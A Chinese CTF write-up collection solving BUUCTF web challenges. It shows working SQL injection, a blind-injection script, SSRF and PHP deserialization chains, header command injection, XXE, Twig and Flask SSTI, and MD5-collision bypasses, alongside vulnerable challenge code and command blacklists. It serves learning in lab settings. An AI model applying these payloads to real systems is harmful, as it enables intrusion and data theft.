BUUCTF刷题(一)

BUUCTF刷题(一)

BlackList

当sql 里的flag被隐藏的时候,可以用HANDLER OPEN语句打开一个表,使其可以使用后续HANDLER READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER CLOSE或会话终止之前不会关闭

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

Hack World

用脚本爆破

# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))#format函数设置指定位置{0}{1}
			post_data = {"id":payload}
			res = requests.post(url=url,data=post_data)
			if 'Hello' in res.text:
				flag += i
				print(str(num)+':'+flag)
			else:
				continue
	print(flag)


if __name__ == '__main__':
	url = 'http://f22f114e-13f7-4f18-8877-3429e32adcbd.node4.buuoj.cn:81/index.php'
	blind_injection(url)



Easy Java

下载web.xml查看

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

<servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

猜测 flag 在com.wm.ctf.FlagController.class

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
    name = "FlagController"
)
public class FlagController extends HttpServlet {
    String flag = "ZmxhZ3s3MzJlNDgxOC1lOTg3LTQ4NTctYjRkNi0wMTA5NjMxOWU0MmR9Cg==";

    public FlagController() {
    }

    protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
        PrintWriter var3 = var2.getWriter();
        var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
    }
}

flag = “ZmxhZ3s3MzJlNDgxOC1lOTg3LTQ4NTctYjRkNi0wMTA5NjMxOWU0MmR9Cg==”

base64解密:flag{732e4818-e987-4857-b4d6-01096319e42d}

FaceBook

出现序列化,要知道用 dirsearch 扫描目录找出源码文件,查看源码用什么对象进行反序列化

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

代码审计:get函数中有出现curl_exec(),存在ssrf,且没有过滤。curl可用file协议,blog属性调用了get函数,所以这里使用file协议读取文件。file:///var/www/html/flag.php

编写脚本序列化

<?php
class UserInfo{
	public $name = '1';
	public $age = 0;
	public $blog = "file:///var/www/html/flag.php";	
}
$obj = new UserInfo();
echo serialize($obj);
?>

得到的数据字符字符串添加到 payload 中,服务器拿到 url 进行反序列化解析

The mystery of ip

当页面可以获得你的 IP 时,可以想到是否是 X-Forwraded-Fork可以修改回显数据,可以输入 {system(‘ls’)},通过命令执行去访问文件

GET /flag.php HTTP/1.1
Host: node5.buuoj.cn:28239
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


x-forwarded-for: {(system('cat /flag'))}


referer: http://node5.buuoj.cn:28239/index.php
Connection: close

phpweb

命令执行

没头绪先看包,传输的数据,发现可以用方法

POST /index.php HTTP/1.1
Host: 7790d3e4-1679-4527-a339-b5931c1b227e.node5.buuoj.cn:81
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://7790d3e4-1679-4527-a339-b5931c1b227e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://7790d3e4-1679-4527-a339-b5931c1b227e.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

func=readfile&p=index.php

用 readfile方法获取页面源代码,查看黑名单

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>

看到过滤了很多方法

但是可以用反序列化

<?php
class Test {
    var $p = "cat /flag";
    var $func = "system";

}

$a = new Test();
echo serialize($a);
?>

笑死根目录没有

找全部flag

<?php
class Test {
    var $p = "find / -name *flag*";
    var $func = "system";

}

$a = new Test();
echo serialize($a);
?>

找出一坨

<p>
    /proc/sys/kernel/acpi_video_flags
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/sys/kernel/sched_domain/cpu10/domain0/flags
/proc/sys/kernel/sched_domain/cpu11/domain0/flags
/proc/sys/kernel/sched_domain/cpu12/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domain0/flags
/proc/sys/kernel/sched_domain/cpu14/domain0/flags
/proc/sys/kernel/sched_domain/cpu15/domain0/flags
/proc/sys/kernel/sched_domain/cpu16/domain0/flags
/proc/sys/kernel/sched_domain/cpu17/domain0/flags
/proc/sys/kernel/sched_domain/cpu18/domain0/flags
/proc/sys/kernel/sched_domain/cpu19/domain0/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags
/proc/sys/kernel/sched_domain/cpu20/domain0/flags
/proc/sys/kernel/sched_domain/cpu21/domain0/flags
/proc/sys/kernel/sched_domain/cpu22/domain0/flags
/proc/sys/kernel/sched_domain/cpu23/domain0/flags
/proc/sys/kernel/sched_domain/cpu24/domain0/flags
/proc/sys/kernel/sched_domain/cpu25/domain0/flags
/proc/sys/kernel/sched_domain/cpu26/domain0/flags
/proc/sys/kernel/sched_domain/cpu27/domain0/flags
/proc/sys/kernel/sched_domain/cpu28/domain0/flags
/proc/sys/kernel/sched_domain/cpu29/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu30/domain0/flags
/proc/sys/kernel/sched_domain/cpu31/domain0/flags
/proc/sys/kernel/sched_domain/cpu4/domain0/flags
/proc/sys/kernel/sched_domain/cpu5/domain0/flags
/proc/sys/kernel/sched_domain/cpu6/domain0/flags
/proc/sys/kernel/sched_domain/cpu7/domain0/flags
/proc/sys/kernel/sched_domain/cpu8/domain0/flags
/proc/sys/kernel/sched_domain/cpu9/domain0/flags
/proc/kpageflags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/tunl0/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/tmp/flagoefiu4r93
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/lib/x86_64-linux-gnu/perl/5.20.2/bits/waitflags.ph
/usr/lib/x86_64-linux-gnu/perl/5.20.2/bits/waitflags.ph</p>

全部打印

<?php
class Test {
    var $p = "cat $(find / -name *flag*)";
    var $func = "system";

}

$a = new Test();
echo serialize($a);
?>
<p>
    0
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
4655
0x80
0x1003
0x9
0
flag{e1978b58-c7a1-4a34-925c-ca7c0de06e68}

had a bad day

看到参数调用的图片就要想到 SQL 注入,尝试用’去看看会不会报错

出现警告,include,想到文件包含,就用 file 协议查看源代码

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
                
                
                
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
          <form action="index.php" method="get" id="choice">
              <center><button οnclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button οnclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>
 <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的字符必须有 if( strpos( $file, “woofers” ) !== false || strpos( $file, “meowers” ) !== false || strpos( $file, “index”)

那就带入其中一个把 flag 引出来

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

[GXYCTF2019]禁止套娃

在源码,数据包,都没有发现的情况可以尝试 dirsearch

在没有参数回显的时候,利用函数功能去查看

?exp=print_r(scandir(pos(localeconv())));

看一下上面的函数
localeconv(),回显数组,第一个数组是字符"."点号
pos(),传入数组,回显第一个数组的值,pos可以用current代替
所以pos(localeconv())等价于.号
而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件
再配合print_r函数输出数组

[NCTF2019]Fake XML cookbook

利用 xml 的头等协议去访问目录的 flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>
&admin;
</username><password>123</password></user>

[BJDCTF2020]Mark loves cat1

用目录扫描出 git 泄露

python githack.py http://2495945c-428a-4ca3-b447-853aa12ca71b.node4.buuoj.cn/.git/

[WUSTCTF2020]朴实无华

用目录扫描出提示文件robot.txt从而找到真实页面源代码

绕三个 waf

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

1.考察函数 intval

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

intval() 函数可以获取变量的「整数值」。

当 num=1e4是经函数解析会变成1但是+1后会变成10001

2.考察弱类型比较,要求md5编码前后相等,禁止md5编码绕过。

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

弱比较中会截取一个字符串的数字,知道遇到字符截止,比如’11e33’,就会被读取为11再比较,如果是’aa111’,就会被读取为0,php在以0x开头的字符串进行==弱比较时,会认为是相同的。所以这里就只需找到一个以0x开头的字符串,并且md5加密后也以0x开头的字符串。

用0e215962017绕过

3.考点strstr,str_ireplace

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

strstr 用于判断字符串空格是否是$ get_flag的子串(过滤空格)

str_ireplace把 cat 过滤

构建get_flag=more

[BJDCTF2020]Cookie is so stable

考察 SSTI 漏洞,在user 的地方可以输入{{}}进行计算,可执行命令

在 cookie 处构造 payload执行命令cat /flag即可获得

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("cat /flag")}}

[安洵杯 2019]easy_web1

把线索藏在图片的编码中,通过一次16进制加密和两次 base64解密,网站调用的页面

可以把 index.php 网站经过加密后带入参数,获得页面源代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));  //一次16进制编码,两次 base64编码

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); //正则表达式
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';   //输出图片
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>"; //把图片码进行编码
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {   //白名单过滤
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {   //post传入a,b;要求是a与b不全等,md5值要全等。
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

赋值a,b;

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

进行绕过

POST /index.php?img=&cmd=sort%20/flag HTTP/1.1
Host: 9637ec70-2932-4ded-b96d-b7b7d6ab5297.node5.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 307

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

[MRCTF2020]Ezpop1

pop链反序列化

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){   //魔术方法:在类的对象被调用为函数时候,自动被调用
        $this->append($this->var); //方法拼接链
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){ //构造方法:在类的对象实例化之前,自动被调用
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){  //魔术方法:在类的对象被当作字符串操作的时候,自动被调用
        return $this->str->source;
    }

    public function __wakeup(){   //黑名单 魔术方法,在类的对象反序列化的时候,自动被调用
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){ //构造方法:在类的对象实例化之前,自动被调用
        $this->p = array();
    }

    public function __get($key){ //魔术方法:从不可访问的属性中读取数据会触发(访问类中一个不存在的属性时自动调用)
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);    //反序列化
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

payload 构造

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

}

class Test{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a= new Show();
$file='index.php';
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();

echo urlencode(serialize($a));

带入参数 pop 获得 flag

[强网杯 2019]高明的黑客 1 难

访问备份的文件就有一堆

几千的文件肯定不能人找,可以利用代码去寻找可以插入木马的地方,例如_GET 方法

import re
import os
import requests

files = os.listdir(r'/Users/caodelong/PycharmProjects/buuctf/src')    #获取路径下的所有文件
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')   #设置正则
for i in files:                #从第一个文件开始
    url = "http://7f89144b-0ea3-4778-a8a2-253794458c23.node4.buuoj.cn:81/" + i
    f = open(r"/Users/caodelong/PycharmProjects/buuctf/src/"+i,encoding='UTF-8')       #打开这个文件
    data = f.read()           #读取文件内容
    f.close()                 #关闭文件
    result = reg.findall(data)  #从文件中找到GET请求
    for j in result:           #从第一个GET参数开始
        payload = url + "?" + j + "=echo 123456"   ##尝试请求次路径,并执行命令
        print(payload)     #输出payload
        html = requests.get(payload)  #获取返回内容
        if "123456" in html.text:
            print("就是它了!:")    #判断返回内容有123456的及可以利用
            print(payload)
            exit(1)


找到后构建 payload

xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

[安洵杯 2019]easy_serialize_php 1 好难

考点:序列化

参考

<?php

$function = @$_GET['f'];   //参数 f

function filter($img){      //黑名单过滤
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);    //extract函数:将变量从数组中导入当前的符号表,这里是把post里的值取出来变为PHP变量,比如name=user,则为$name=user,最重要的是它会再变量冲突时覆盖前面的变量。

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){   //判断function,有两个需要注意的,一个是等于phpinfo时,还有一个是等于show_image时,file_get_contents获取文件内容这边就是我们得到flag的地方
  
    $_SESSION['img'] = base64_encode('guest_img.png');   //base64编码
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));  //
}

$serialize_info = filter(serialize($_SESSION));   //序列化后再过滤

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);   //$userinfo是由$_SESSION序列化过滤后,再反序列化得到的,这变就形成了一个反序列化字符串逃逸。可以通过extract来覆盖掉$_SESSION[“user”]和$_SESSION[“function”]来对他们重新赋值。
    echo file_get_contents(base64_decode($userinfo['img']));
}
//先分析一波序列化的字符串,这题过滤会把匹配到的变为空字符串,如果我们构造一个user=flag,过滤后变为空,现在就多出4个字符,因为";s:8:“function”;s:xx:“a为24个字符(两个x表示function长度为两位数),所以我们user要6个flag
_SESSION[user]=flagflagflagflagflagflag
  &_SESSION[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

[MRCTF2020]PYWebsite

查看源 js 代码

<script>

    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){  有线索md5解码试试
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
    }

  </script>

发现行不通

试试访问 window.location = "./flag.php"

有提示只有购买者和自己可以看到

可以把X-Forwarded-For带入得到 flag

[WesternCTF2018]shrine

参考

知识点:flask的ssti

页面是Python,分析一下

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']    #黑名单
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

 return ''.join(['{{% set {}=None%}}' // 尝试/shrine/{{1*8}}  发现有 ssti

[ASIS 2019]Unicorn shop

知识点:unicorn 和utf-8编码

[网鼎杯 2020 朱雀组]Nmap

知识点:nmap 输出文件

